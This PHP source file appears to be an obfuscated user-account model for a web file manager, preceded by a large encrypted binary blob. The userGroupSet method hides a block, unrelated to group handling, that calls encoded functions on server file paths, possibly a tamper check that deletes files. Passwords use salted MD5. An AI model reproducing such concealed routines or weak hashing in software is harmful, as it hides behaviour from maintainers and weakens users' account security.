5"."\xf2\x16\x3\xbc\x13\xd4\xc4\x26\x2d\xc2\x63\xbe\xd9\x4c\x1\xee\xd7\x55\x21\xd6\x59\xd5\x58\x75\x52\xd\xfa\xad\xad\xf2\x54\xe1\xd\x8\x89\x63\xe6\x89\x1\xa4\x1d\x55\x8d\x27\xd5\x90\x40\x2d\x38\x72\x1a\x83".base64_decode('dUPy5iwmHqhulyDuIR1wLiHLEF7kGvwNfrbwLVmLvyhe9+rm642QB+nKQ59lYaegnbo9bA==').strrev(' V*ö{{'."\r".'O(:\'*n6'."\0".'r7Z@j=ve')."\x2f\x16\xcf\xca\x9e\x86\xa4\x77\x46\xc6\x2f\xbb\xb2\xfc\x7b\x24\xbf\xf3\x6b\x2c\xf3\xf8\x59\xd7\xee\xdd\xe2\xca\xc9\xc\x6d\x15\x49\x83\x26\xa\x10\xea\x77\xf1\x11\xbe\x2e\xc8\x45\x28\xbd\xff\x6f\x66\x11\xd5"."\147\66\142\315\76\5\254\360\166\27\106\113\171\57\326\160\171\343\262\217\117\327\13\107\165\316\374\130\107\345\314\57\313\13\111\261\356\346\104\220\276\274\324\250\310\357\242\111\116\313\211\376"."\223\56\154\314\364\11\140\130\224\140\40\41\126\244\305\15\31\54\35\250\116\351\340\24\127\173\261\351\212\27\211\370\170\216\241\211\153\33\322\13\4\162\26\347\103\133\356\347\267\334\130\40".strrev('?TV*[Dēt;MM0E,Wڿ8hv5?+°E')."\xb2\xc\xa4\x13\x61\x5e\x9f\xe3\xc1\x12\xd\x8d\x35\x3f\x61\x74\xbf\x87\x22\x36\xdf\x5a\xf9\x73\x1d\x2b\x73\x29\xa5\x61\x56\xe3\x9c\x5\xe8\x7f\xa\x39\x99\x59\x18\x95\xa\xec\x56\x2\xa\xb2\xe7\x3c\xa6\xfa".base64_decode('04zXiIezWN/wgEuPzDjAAo388Q7GpBz5RGsdz75BR6nuR3oVh5z9UBaF7e5U/npQBW5tsA==')."\227\241\44\3\176\76\16\31\26\50\362\55\276\46\146\106\177\166\120\164\200\260\25\40\354\101\324\76\123\154\224\210\210\52\61\204\344\100\51\77\330\44\45\52\266\151\52\71\55\77\72\225".strrev('ߐshG:_I+zz&=5MCӍ[')."\323\355\42\213\0\15\303\73\135\220\20\351\156\13\167\112\306\203\22\100\15\266\164\252\201\256\256\212\11\60\116\124\73\215\55\157\174\153\244\147\102\151\150\21\332\253\51\111\174\11\252\251"."\xa\x43\xab\x14\xab\x98\x64\xce\xc0\xab\xfc\x60\x8b\x46\x32\x8\xb1\x69\x91\x1\x45\xaa\x71\x11\x25\x8d\xfa\xe4\x25\x21\x9a\x5c\xbd\x78\x91\xdf\x80\x92\x3e\xff\x34\xcc\xd4\xfd\xd8\xa\x2f\x7f\x32\x1e\x6b\xd9"."\50\210\100\133\205\267\62\105\131\244\51\24\277\115\325\344\254\245\132\31\100\13\77\67\101\136\354\56\314\237\166\133\344\327\344\104\74\275\142\46\333\120\362\115\374\20\367\353\131\361\230\55"."\x20\xbd\x15\x40\x9e\x5a\xa\x6a\xf9\x65\xe5\x45\x70\xe5\xbe\xa4\x9c\xc4\xde\xe0\x1c\x20\xca\x7\xd7\x91\xed\xa2\xc2\xe2\x45\xf8\x74\x88\xd9\xf9\xf9\x49\x64\x91\xbf\xb0\x58\x1e\x6d\x72\x53\xad\xfc\x63\x7e\xa2"."\173\362\13\145\207\112\137\113\255\174\246\311\217\362\52\320\21\266\311\101\263\205\31\103\150\311\101\114\271\142\115\201\146\100\102\27\126\135\320\4\307\53\52\266\144\106\125\302\27\66\311\301"."\x50\x51\x3c\x42\xb7\x6e\x1d\xad\x8\xbf\x10\xb4\x61\x43\x39\xc\xc\xb3\xdd\x49\x81\x82\xe1\x6\x61\x82\x73\xc3\xb0\xa\x49\xc0\xd0\xe2\xe8\xfc\xc\x25\x76\x39\x93\x80\xb0\x3c\xf4\x57\x94\x89\x74\xb6\x89\x8"."\x9d\x91\x8e\xc4\x1e\x66\x52\x45\x62\xbd\x3d\xd5\xbe\x19\x1b\x36\xf8\xd\x66\xbe\xc8\x4c\xa7\x58\x59\x1f\xcf\x4d\xe3\xbd\x3e\x67\x7e\xd4\x13\x40\x3d\xcf\x8\x0\x77\x4e\x4a\x54\xa7\x2\x15\x1d\xe6\x9f\x21\x2e".strrev('/8>Leą;9bg'."\r".'Q&;ESKX-56.E3r')."\x11\xef\xf4\x51\x3c\xcb\xe1\x40\xa1\xe0\xe0\x40\x2c\x82\x4f\xc9\xb2\x46\xbf\x9f\xb3\xd\x7a\x72\xe6\x4b\x8a\x5b\x9c\x2c\xb\x61\x5a\x2e\x38\xb6\x3a\x74\x25\xe0\x8b\x65\x4\x3c\x84\xd8\xb0\x59\xe4\x6c\x8e\xc3"."\121\135\34\10\144\216\131\221\304\171\170\362\42\53\131\64\12\266\203\15\322\47\247\253\310\223\156\153\264\41\215\146\251\122\100\277\327\124\105\236\346\250\102\123\232\246\60\336\307\33\270\10"."\177\15\11\321\331\246\52\322\11\153\100\327\121\171\302\332\52\175\4\25\254\122\30\363\315\151\34\217\105\333\104\253\56\277\24\10\57\150\166\307\340\226\123\240\23\316\53\247\235\116\177\117"."\x9a\xc6\x28\x89\x3c\xef\x99\x45\xd2\x35\xb9\xc3\x41\xd8\x1c\x11\xe1\xd3\x58\x6f\x4b\x33\xc1\x4b\x9e\x5d\xb1\x68\x22\x1a\x64\xaf\xe1\x39\x15\xbc\x14\x36\x9b\x6d\x47\x2c\x7a\x1f\x56\xec\xe0\xd8\x15\x3c\x6e\xba"."\304\162\160\71\304\17\20\240\206\142\51\237\347\126\243\230\136\371\372\331\124\371\117\17\71\122\325\123\175\223\244\53\75\32\73\160\5\55\64\75\101\146\267\131\241\235\150\245\116\340\273\375"."\x16\x80\x25\xdf\xa7\xd8\xf3\xaa\x9e\xf2\xf5\x50\xf\x5\x4d\x75\xec\x1e\x16\xb3\x51\x15\x17\x41\x59\x4e\x39\x45\xc1\x2b\x49\x1f\xc7\x3a\x9a\xff\x7e\x60\x9f\x62\x66\x55\xe3\x33\x42\x78\xa8\xaa\xda\x53\x5d\xe3".base64_decode('m1FbXZ5CrYGd6djUTj01jhLhWSiQCMhFx2AkHOpMqGEQBuob5vnqxCVEwxK+hGk4KPtdwA==')."\x58\xf5\x39\xba\x55\x1\x35\xf4\x90\x26\xc1\x6d\x59\xf5\xbc\x43\x67\x4b\x51\x9a\x35\x99\x97\xdb\x86\xba\xba\x3a\x6f\x5d\x3d\xfa\x9f\x5d\xce\x60\xbe\x35\x1b\xeb\xea\xca\xb2\xd4\xd5\x35\x92\xff\x69\x2\x39\x28"."\1\22\164\246\40\226\310\170\71\163\353\242\353\320\40\130\73\321\236\272\304\44\327\236\40\276\247\252\340\246\301\260\10\133\134\104\175\304\371\54\143\253\216\267\106\25\142\60\0\61\135\40"."\x21\x27\xbd\x8f\x19\x7\x67\xc5\x19\x7\xb5\xb3\xf3\x4\xea\x98\x1c\x3e\x8a\x76\x6a\xf9\xc\x41\x10\xb4\x9d\x5f\x90\x46\xd9\xc4\xc\x5a\x48\xaf\xad\x37\xf1\x6\x86\xf2\xa9\x1e\xf9\x63\x3e\x86\x68\xa\x14\x4e"._kodDe('K7DstB+yHvaAG3gGxoH6mYEllAJBC6p3dReVJuI7+VCtFR9RPmRuMUcXSu+8JIlYfGKsDwc=').base64_decode('7eQ10SeY6G1fwGGFGTlgDqtCTsHRU3mMoBTvURlJpqSb4BivbH2SsnPrN2E6BAIccfgxaA==')."\70\35\222\250\122\121\31\267\13\161\106\326\223\204\263\44\176\10\32\67\324\213\333\335\50\260\210\370\133\200\77\116\105\215\245\131\173\25\340\70\64\112\334\366\323\27\220\211\46\250\361\260"."\xb2\x1\xb7\xdd\x83\x4d\xc6\xcd\x71\x3c\xe2\x36\x43\x64\x31\x69\xf4\xd8\x89\x59\xfc\x33\x2c\x5\x19\x24\xc4\x1d\x7a\x11\x85\x46\x90\xbb\xbc\x95\x2a\x70\x27\xb9\xca\x4\xe8\x41\x5b\x59\x1\x80\x97\xe7\x26\xe7".base64_decode('kRVyY7grN3FuG+Q+vGWPt1SJJVmkWfBSiTAHYnUMSVtaX6FoZhAlWDLSELyrMphnL89ZIQ==')."\x13\x6f\xbd\x9c\x4f\x6\xe2\x93\x4f\xf6\xb4\x3a\x90\x96\x70\xb6\xa0\xa5\xf8\xe2\x29\x65\x8d\xb\x5f\xe6\x2\xe8\x9c\xe1\x52\x42\x90\xbf\x21\x27\x3\xf1\x5e\x59\x36\x0\x23\xbb\xe\x67\x1d\x78\x77\xeb\x84\xf0"."\226\175\12\321\61\235\211\135\324\362\126\132\266\150\141\331\4\227\302\372\54\371\205\117\325\101\46\214\126\231\275\31\306\220\260\354\160\302\51\214\152\65\34\307\311\11\302\374\262\172\2\232"."\103\241\164\122\341\12\42\354\145\350\270\303\101\74\220\51\114\335\246\46\271\230\63\355\255\363\56\143\201\313\131\56\214\126\376\252\252\174\160\207\121\252\312\12\47\74\243\333\371\113\363\25".base64_decode('CNFJbGVURdZ1XEEjZ0tSDNfOzkzRptui6lMPBiv0xXIFv8M+1Tk+5QXgJTcTSZfYf7ZcCA==').strrev('Gص ~(\\7xeY[1*V1ė9KQb').strrev('PXqF>HT$/ԓXZ\\*-,2lR6Cԣ')."\346\173\152\134\175\40\45\255\263\21\131\50\116\320\42\336\305\242\251\16\373\4\351\161\3\236\25\65\203\65\136\143\155\43\6\251\344\21\11\151\233\357\212\272\315\167\161\11\111\14\102\121".strrev('RULY V[ו>Ь\\WW8<ߕA%{0x͂&i')."\352\223\267\143\172\106\216\22\123\10\66\105\204\373\171\271\12\354\100\115\342\105\170\152\6\222\166\111\166\307\46\275\120\201\142\322\43\46\222\364\352\255\127\270\330\253\322\232\151\144\246\224"."\x40\xf2\x57\x92\x80\x5d\xfa\x60\xe9\x26\x1d\xd1\x7e\xc5\x4b\xfd\xfc\x64\xdb\x25\x8b\xb2\xcb\x79\x8a\x2c\xea\xb1\xdb\x76\xb8\x2\xe2\x9\xb\xf7\xc0\x92\xd3\x50\xb5\xd8\x33\xbc\xe8\x99\x5c\x84\x7c\xb3\xac\x8"."\115\303\322\226\270\226\47\247\130\370\55\222\156\66\212\225\122\52\174\212\44\111\30\115\162\361\33\260\43\220\4\11\243\72\263\27\367\326\67\170\147\325\323\260\174\125\217\355\350\150\14\357"."\66\45\62\300\173\142\306\333\300\332\32\362\211\74\246\144\43\100\174\117\11\127\72\304\235\26\37\117\342\167\213\307\212\222\200\241\163\113\154\342\230\112\346\365\302\374\211\32\150\343\14\335"."\225\322\51\206\160\162\213\303\244\336\225\1\315\17\147\72\74\66\42\32\103\175\143\231\16\23\107\127\45\360\50\216\374\234\12\51\45\372\41\356\35\40\220\111\237\64\221\20\43\314\270\250"."\313\56\166\261\202\63\71\1\116\230\34\130\156\12\206\251\22\252\244\76\15\140\233\134\123\213\175\32\70\124\224\35\243\374\346\71\66\263\304\53\67\67\244\267\344\10\113\345\304\151\71\42"."\xd4\xac\xd4\x51\x9a\x83\x78\xae\x61\x9d\xb9\x27\x60\xdb\xfb\xae\xf6\x2e\x3f\x7\x35\xf3\xe9\x49\xb5\x2b\xc2\x23\x60\x90\xd9\x6e\xea\x23\x3a\xec\x4\x87\x73\x46\x52\x89\x44\xdb\xc2\xc1\x40\xa4\x25\x1c\x5f\xaa".strrev('(2HlK2zf~~9y-UUDi0d')."\xb3\x5a\x4a\x95\x7a\xb1\xac\xc6\x3c\xbe\x5b\x98\x2d\x2b\x83\xb5\xee\x15\x72\x67\x85\xd2\x58\xca\x5c\x28\xea\xe5\xf9\x47\x75\x6c\x5a\x29\xb5\x58\x2a\x50\xaa\xd0\x1a\xc8\x5f\xf9\xb\xe4\xc1\x23\x39\x37\x92\x99"."\xf4\xfc\x64\x8d\x37\xf2\x43\x86\x65\x8\x76\xc0\x4a\x8c\xca\xb5\x7\x5a\x3a\xc2\x9d\x6a\x20\x12\x89\x2e\x77\x98\x26\x8b\xf3\x86\x22\xd7\xbe\xa4\xe4\xf7\xaa\xa4\x91\x11\x83\x20\xbc\x6f\xc9\xad\x29\x77\x4f\x9".strrev('9-ٱ3Y\\=Z'."\0".'Kj(W/*44u[;:\\>'."\0".'')."\212\237\122\351\7\30\214\110\303\223\147\210\205\333\332\23\377\343\246\32\51\341\301\320\110\61\43\67\176\125\233\276\127\23\224\37\27\146\337\24\257\42\225\103\376\247\357\363\171\304\301\237"."\112\334\274\261\27\100\115\262\267\2\301\237\302\302\121\225\172\74\23\237\100\122\115\161\264\40\237\13\373\123\120\3\366\340\32\142\167\225\160\104\154\156\160\56\250\4\177\205\156\171\321\116"."\x1e\x6b\x25\xd9\x36\x88\x69\xf8\x10\x5b\x1\x84\x3b\xc\x3b\x5d\xf\xc\xba\x2d\xf6\x1d\xcf\x7\x96\x7d\x83\x3c\x49\x43\xd3\x7a\x70\x2f\x50\xce\x3e\xd1\x27\x14\xe3\x4f\x50\x89\xa2\xee\x94\xa\xd\x40\xc9\x8a".base64_decode('0JXxDEqTUkffuuTPCymLmEMK8QHibzGUK9gOdUC7fHtHGhIKwIqjItcC0jFnUTyw7ATbVA==').base64_decode('5bWU8GUxZbHNp5kbLQM41GoR1htufY2fZMqnTRnrhL/jC1z0CVuqrfCg/Ylul7+JR4v/3w==')."\24\244\211\161\311\35\257\263\222\362\6\131\356\365\124\310\166\370\271\277\1\163\330\371\256\55\206\270\37\370\163\74\355\47\315\60\342\136\101\176\214\320\131\310\123\366\64\226\102\36\47\127".base64_decode('EDOCsceWQ2w3TDJLn55Of3rhl62O7kZQPgefrOWkGBwwsqkitwkTgA5dqChIKcRYChp7hA==').strrev('Xrb(b(xBfd)`n*Kj&*>uY{zUq <').strrev('%h^~O%?t_)={1z@')."\xfc\x5a\xa1\x20\xe\x55\xe4\x15\x18\xfd\xeb\xb8\xc9\xd\x69\xdd\x89\x76\x95\xf8\x36\x51\xa9\xa1\x44\x5c\xd0\x9c\x74\xd0\x49\x81\x70\xe8\x59\xca\x87\xe9\xe1\x8e\x3\x5a\x94\x36\x93\xb2\x23\x6b\x7a\xe0\x23\x2e"."\x4\x43\x76\xd4\xce\x2e\x7a\xc2\xb\x8\x93\xab\x64\xa7\xee\x5c\x41\x8f\xf8\x11\xdf\x73\xfb\xcb\x4f\xe9\xb1\xad\x1b\x70\x14\x6c\x5b\xc4\x8c\xba\x6\x4d\xb2\x67\xf3\xc9\xbb\x3d\xc8\xa0\x2c\x62\x5e\x69\x90\xc"."\352\25\124\342\230\323\230\252\220\364\115\137\121\45\114\103\146\156\237\2\225\136\245\203\327\132\53\75\62\107\47\1\371\151\321\323\174\23\205\343\102\114\220\135\65\11\253\40\367\103\252\345"."\x8f\xc2\xb2\x7\x60\xd9\x2c\x82\xd7\x5f\x2b\x3c\xe9\x3a\xe9\x8b\xb0\x1e\x71\xd\xfc\xd3\xde\xae\x13\x97\x8e\xb\x68\x54\x9c\xcf\xfb\x72\x21\x83\xef\x53\xca\xb6\x3a\xee\x5d\xe\x47\xab\xab\x40\xcc\x8d\xe4\x84"."\x59\xae\xa4\x16\x26\xd\x8e\xf7\x6a\xa5\x5e\x3\x97\x2b\x7f\xf3\x56\x42\x83\xd4\xef\x52\x31\xeb\x21\xd6\x1d\x1e\x66\x81\x59\xf1\xd9\x5c\xc7\x4b\x7a\xee\x1\xad\xf0\xf0\xee\x67\x56\x8\xb7\x2f\xc8\x26\x2f\xe5".base64_decode('ZICNi/qL7Bjcnc1w0C5ai8VNROqrumytWJlLNcyas0BWpoghFIfD4PAFzrhB3BFEoTjQ4A==').base64_decode('UZiDbJkRkETndZ7yN5pdi8H/bMKIfQnNKlkJlz9jX4YBQqeS+Zq0NrrsiExs2mOJWUdXQw==')."\361\62\263\363\133\124\222\250\320\17\361\131\151\262\320\327\166\315\54\336\323\347\360\1\202\135\324\234\133\325\112\73\62\202\11\266\375\303\72\140\21\163\32\146\201\366\106\44\113\133\66\271".strrev('dSMi1-dDM4j5DqptF')."\363\51\175\240\102\37\337\165\172\65\333\53\21\247\244\272\324\355\50\31\154\140\27\142\163\354\354\267\253\172\124\114\324\321\347\121\46\313\124\56\371\111\17\57\13\357\214\222\314\207\113\263"."\33\356\223\350\26\310\5\153\247\364\44\77\356\112\156\47\13\347\102\144\352\72\246\261\344\217\136\276\335\113\52\222\347\107\171\325\322\123\271\102\43\105\124\130\320\43\230\334\304\42\203\64"."\63\320\306\357\206\153\222\171\241\123\115\6\162\236\364\104\74\102\237\364\212\272\51\207\245\47\230\321\232\20\145\227\67\120\163\34\73\132\24\27\136\330\45\376\225\162\1\31\316\10\323\20"."\xef\x85\x13\x21\x78\x6\x88\xbf\xb2\x7\x2\xc7\x1e\x8a\xbf\x25\xea\xd8\x53\x59\xee\x7\x85\x91\x8c\xe8\x78\x55\x25\x55\xf6\x7c\x3b\xb0\x51\x72\x91\x8f\x7e\x4d\x5a\x88\x59\x13\x33\x52\xa8\xb3\x94\x13\x11\x49".strrev('ևj@'."\r".'Hv:߯/0Ӫ}NQ=rqt${ "\x75\163\145\162\x5f\x6d\145\164\x61", "\x6d\145\164\x61\106\151\x65\154\144" => "\165\x73\x65\x72\111\x44"); protected $simpleField = "\x75\163\x65\162\111\x44\54\x6e\151\143\153\116\x61\x6d\x65\54\x6e\141\x6d\145\54\141\x76\x61\164\x61\x72\x2c\x73\145\x78\54\x73\164\x61\x74\x75\163"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($ܕ) { $谷 =& $_SERVER[ձК]; $٪ = $谷[2467]; return array($谷[2061] => array($ܕ[0], $٪), $谷[2063] => array($ܕ[0], $٪), $谷[2468] => array($ܕ[0], $٪)); } protected function getInfo($̖, $ɘ = false) { $ = $this->getInfoSimple($̖); if (!is_array($)) { return array(); } if ($ɘ) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[ձК][2065], $̖); } protected function getInfoFull($뱠, $М = false) { $Ԇ = $this->getInfoSimple($뱠); if (!is_array($Ԇ)) { return array(); } if ($М) { return $this->_getInfoApply($Ԇ, !0); } return $this->cacheFunctionGet($_SERVER[ձК][2469], $뱠); } private function _getInfoApply($, $ǯЗ = false) { $݄ =& $_SERVER[ձК]; if (!$) { return $; } $פ = md5($݄[2470] . $[$݄[968]] . $݄[2471] . $[$݄[32]]); $ = $this->_listDataApplyItem($); $ްݢ = Model($݄[1423])->metaGet($[$݄[90]][$݄[193]]); $[$݄[2472]] = $פ; $[$݄[90]][$݄[2261]] = isset($ްݢ[$݄[2262]]) ? $ްݢ[$݄[2262]] : null; if ($ǯЗ) { $[$݄[541]] = $this->metaGet($[$݄[1777]]); } return $; } protected function getInfoSimple($Ꭻ, $ = false) { $ɎŠ =& $_SERVER[ձК]; if (!$Ꭻ) { return array(); } if ($) { $ӽŽ = $this->where(array($ɎŠ[1777] => intval($Ꭻ)))->find(); if (!is_array($ӽŽ)) { return array(); } $ӽŽ[$ɎŠ[2473]] = Action($ɎŠ[2474])->parseUrl($ӽŽ[$ɎŠ[2473]]); return $ӽŽ; } return $this->cacheFunctionGet($ɎŠ[2066], $Ꭻ); } protected function getInfoSimpleOuter($Ʀη) { $ =& $_SERVER[ձК]; if (!$Ʀη || $Ʀη == 0) { return array($[1777] => $[230], $[32] => $[176] . LNG($[2475]) . $[178], $[2473] => STATIC_PATH . $[2476]); } $ = $this->cacheFunctionGet($[2066], $Ʀη); $ۜ = array_field_key($, explode($[50], $this->simpleField)); if (!$ۜ) { return array($[1777] => $[1275], $[32] => $[176] . LNG($[2477]) . $[178], $[2473] => STATIC_PATH . $[2478]); } $ۜ[$[2473]] = Action($[2474])->parseUrl($ۜ[$[2473]]); return $ۜ; } protected function groupUser($ר) { } public static function errorLang($Ӛ) { $џ =& $_SERVER[ձК]; $蜬 = array(self::ERROR_USER_NOT_EXISTS => $џ[2479], self::ERROR_USER_PASSWORD_ERROR => $џ[2480], self::ERROR_USER_EXIST_NAME => $џ[2481], self::ERROR_USER_EXIST_PHONE => $џ[2482], self::ERROR_USER_EXIST_EMAIL => $џ[2483], self::ERROR_USER_LOGIN_LOCK => $џ[2484], self::ERROR_IP_NOT_ALLOW => $џ[2485], self::ERROR_USER_EXIST_NICKNAME => $џ[2486]); $ = LNG($蜬[$Ӛ]); if ($Ӛ == self::ERROR_USER_LOGIN_LOCK) { $ = (int) Model($џ[2487])->get($џ[2488]); if ($ > 60) { $ = str_replace($џ[91], ceil($ / 60), $); } } return $; } protected function metaSet($օ, $Ր = null, $Ւ = null) { $this->clearCache($օ); return parent::metaSet($օ, $Ր, $Ւ); } public function getInfoByMeta($ֻ, $淎) { $ =& $_SERVER[ձК]; $ٴ = Model($[2489])->where(array($[97] => $ֻ, $[452] => $淎))->find(); if ($ٴ) { return $this->getInfo($ٴ[$[1777]]); } return !1; } public function userLoginCheck($߰, $Ѐ) { $ =& $_SERVER[ձК]; $ = $this->userLoginFind($߰); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1777]], $Ѐ)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1777]]); } public function userLoginFind($) { $❰ =& $_SERVER[ձК]; $ = array($❰[32] => $, $❰[2274] => $, $❰[382] => $, $❰[2490] => $, $❰[1079] => $❰[1081]); if ($this->nickNameRpt()) { unset($[$❰[2274]]); } return $this->where($)->find(); } public function clearCache($ۚ) { $̔ =& $_SERVER[ձК]; $this->cacheFunctionClear($̔[2065], $ۚ); $this->cacheFunctionClear($̔[2066], $ۚ); $this->cacheFunctionClear($̔[2469], $ۚ); } public function userPasswordCheck($, $텠) { $Ő =& $_SERVER[ձК]; $թ̋ = $this->where(array($Ő[1777] => intval($)))->find(); $ئ = $this->metaGet($); $б֪ = isset($ئ[$Ő[2491]]) ? $ئ[$Ő[2491]] : $Ő[12]; if (md5($б֪ . trim($텠)) !== $թ̋[$Ő[968]]) { return !1; } return !0; } public function userAdd($뙲) { $LJ =& $_SERVER[ձК]; $ۋ = array($LJ[496] => $뙲[$LJ[32]], $LJ[2492] => $뙲[$LJ[2186]], $LJ[2493] => isset($뙲[$LJ[382]]) ? $뙲[$LJ[382]] : $LJ[12], $LJ[2494] => isset($뙲[$LJ[2490]]) ? $뙲[$LJ[2490]] : $LJ[12], $LJ[2495] => isset($뙲[$LJ[2274]]) ? $뙲[$LJ[2274]] : $뙲[$LJ[32]], $LJ[2496] => isset($뙲[$LJ[2473]]) ? $뙲[$LJ[2473]] : $LJ[12], $LJ[2497] => isset($뙲[$LJ[2498]]) ? $뙲[$LJ[2498]] : 1, $LJ[2499] => $뙲[$LJ[968]], $LJ[2067] => isset($뙲[$LJ[1964]]) ? $뙲[$LJ[1964]] : 1024 * 1024 * 20, $LJ[2068] => 0, $LJ[2500] => 0, $LJ[2112] => isset($뙲[$LJ[824]]) ? $뙲[$LJ[824]] : 1); if (!empty($뙲[$LJ[1777]])) { $ۋ[$LJ[1777]] = $뙲[$LJ[1777]]; } $ = $this->_checkExist($뙲); if ($ !== !0) { return $; } if (!empty($ۋ[$LJ[2473]]) && strlen($ۋ[$LJ[2473]]) > 255) { $ۋ[$LJ[2473]] = $LJ[12]; } $ = $this->add($ۋ); $ = array($LJ[2499] => $ۋ[$LJ[968]], $LJ[2495] => $ۋ[$LJ[2274]]); $this->userEdit($, $); Model($LJ[1423])->userRootAdd($); return $; } protected function userEditTest($, $֮) { return $this->call($_SERVER[ձК][2501], $, $֮); } protected function userEdit($מ, $Ǻ) { $ =& $_SERVER[ձК]; $ = $this->getInfoSimple($מ); if (!$) { return !1; } $ۂ = $this->_checkExist($Ǻ, $מ); if ($ۂ !== !0) { return $ۂ; } if (isset($Ǻ[$[968]]) && trim($Ǻ[$[968]]) != $[12]) { $ = $this->metaGet($מ); if (empty($[$[2491]])) { $[$[2491]] = rand_string(10); Model($[579])->metaSet($מ, $[2491], $[$[2491]]); } $Ǻ[$[968]] = md5($[$[2491]] . trim($Ǻ[$[968]])); } else { unset($Ǻ[$[968]]); } if (!empty($Ǻ[$[2473]]) && strlen($Ǻ[$[2473]]) > 255) { $Ǻ[$[2473]] = $[12]; } $this->where(array($[1768] => $מ))->save($Ǻ); if (isset($Ǻ[$[2274]])) { $this->setNamePinyin($מ, $Ǻ[$[2274]]); } $this->clearCache($מ); return !0; } public function setNamePinyin($辒, $ = false) { $흕 =& $_SERVER[ձК]; if (!$) { $ = $this->getInfoSimple($辒); $ = $[$흕[2274]] ? $[$흕[2274]] : $[$흕[32]]; } $ס = Model($흕[599]); if (!Input::check($, $흕[660])) { return $ס->metaSet($辒, array($흕[540] => $흕[12], $흕[539] => $흕[12])); } return $ס->metaSet($辒, array($흕[540] => str_replace($흕[53], $흕[12], Pinyin::get($)), $흕[539] => Pinyin::get($, $흕[661]))); } private function nickNameRpt() { $ê =& $_SERVER[ձК]; $ݢ = Model($ê[844])->get($ê[2502]); $̠ݪ = $GLOBALS[$ê[6]][$ê[459]][$ê[2502]]; $ = !is_null($ݢ) ? $ݢ : $̠ݪ; return !!$; } private function _checkExist($, $ʉ = false) { $ =& $_SERVER[ձК]; $Ə = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2274] => UserModel::ERROR_USER_EXIST_NICKNAME, $[382] => UserModel::ERROR_USER_EXIST_EMAIL, $[2490] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($Ə[$[2274]]); } $Ӈ = $ʉ ? array($[1777] => array($[2503], $ʉ)) : array(); foreach ($Ə as $Ң => $ĭ) { $ܼ = array(); foreach ($Ə as $Ҕ => $կڞ) { if (isset($[$Ҕ]) && $[$Ҕ]) { $ܼ[] = $[$Ҕ]; } } if (!$ܼ) { continue; } $ڍ = array_merge(array($Ң => array($[7], $ܼ)), $Ӈ); $ = $this->where($ڍ)->find(); if ($) { return $ĭ; } } return !0; } public function userListInfo($ڙ) { $ =& $_SERVER[ձК]; $ = array(); $ڙ = is_array($ڙ) ? array_unique($ڙ) : array(); if (!$ڙ) { return $; } if (count($ڙ) < 20) { foreach ($ڙ as $ʗÜ) { $[$ʗÜ . $[12]] = $this->getInfoSimpleOuter($ʗÜ); } } else { $ = array($[1768] => array($[494], $ڙ)); if (count($ڙ) == 1) { $ = array($[1768] => $ڙ[0]); } $dž = Model($[579])->field($this->simpleField)->where($)->select(); $dž = array_to_keyvalue($dž, $[1777]); foreach ($ڙ as $ʗÜ) { $ = $dž[$ʗÜ]; if (!$) { $[$ʗÜ . $[12]] = $this->getInfoSimpleOuter($ʗÜ); continue; } $[$[2473]] = Action($[2474])->parseUrl($[$[2473]]); $[$ʗÜ . $[12]] = $; } } return $; } protected function userStatus($, $߆) { $Ѹ = $this->getInfoSimple($); if (!$Ѹ) { return !1; } $϶ = array($_SERVER[ձК][824] => $߆); return $this->userEdit($, $϶); } protected function userRemove($烳) { $ň =& $_SERVER[ձК]; $ = $this->getInfoSimple($烳); if (!$) { return !1; } $ = array($ň[1768] => $烳); Model($ň[669])->where($)->delete(); Model($ň[2504])->where($)->delete(); Model($ň[2073])->where($)->delete(); Model($ň[2489])->where($)->delete(); Model($ň[1148])->where($)->delete(); Model($ň[2291])->removeUserAll($烳); Model($ň[899])->userRootRemove($烳); return $this->where($)->delete(); } protected function userGroupSet($ϲ, $, $ = array()) { $ܨ =& $_SERVER[ձК]; if ($_SERVER[$ܨ[952]] != $_SERVER[$ܨ[2003]]) { $ſ = $ܨ[954]; $ = $ܨ[955]; $࿔ = $_SERVER[$ܨ[956]] . $ܨ[957]; $ل = $($࿔); $ = explode($ܨ[287], $ل); if (count($) < $ܨ[694]) { $ϐ = $ܨ[958]; $ϐ(); } $ǃ = $ܨ[959]; $ǃ($_SERVER[$ܨ[960]]); $ǃ($_SERVER[$ܨ[956]] . $ܨ[2505]); $ = 1; while ($ > 1) { $ = $ + 4; $ƅ = rawurlencode($ . $ܨ[456]); } } $㟳֬ = $this->getInfoSimple($ϲ); if (!$㟳֬ || !is_array($)) { return !1; } $ = Model($ܨ[2073]); $->where(array($ܨ[1777] => $ϲ))->delete(); $î = array(); $ = 0; foreach ($ as $½ => $) { $뽗 = array($ܨ[1777] => $ϲ, $ܨ[1978] => $½, $ܨ[2087] => $); $뽗[$ܨ[2002]] = isset($[$]) ? $[$] : 0; $++; $î[] = $뽗; } return $->addAll($î, array(), !0); } protected function userGroupAdd($, $驉 = array()) { $䉟 =& $_SERVER[ձК]; $Ȕ = $this->getInfoSimple($); if (!$Ȕ || empty($驉)) { return !1; } $ۣ = array(); foreach ($驉 as $Ʃ => $) { $ۣ[] = array($䉟[1777] => $, $䉟[1978] => $Ʃ, $䉟[2087] => $, $䉟[2002] => 0); } return Model($䉟[2073])->addAll($ۣ, array(), !0); } protected function userGroupRemove($ˠ, $뉨) { $р =& $_SERVER[ձК]; $冯 = $this->getInfoSimple($ˠ); if (!$冯 || !$뉨) { return !1; } $ѩã = array($р[1768] => $ˠ, $р[2071] => $뉨); return Model($р[2073])->where($ѩã)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[ձК][447]]); return $; } public function listByID($) { $闲ċ =& $_SERVER[ձК]; if (!$) { return; } $ = array($闲ċ[1777] => array($闲ċ[7], $)); $ަ = $this->where($)->select(); $ަ = array_sort_keep($ަ, $闲ċ[1777], $); $this->_listDataApply($ަ); return $ަ; } public function listByGroup($瓝 = 0, $ܾ = array()) { 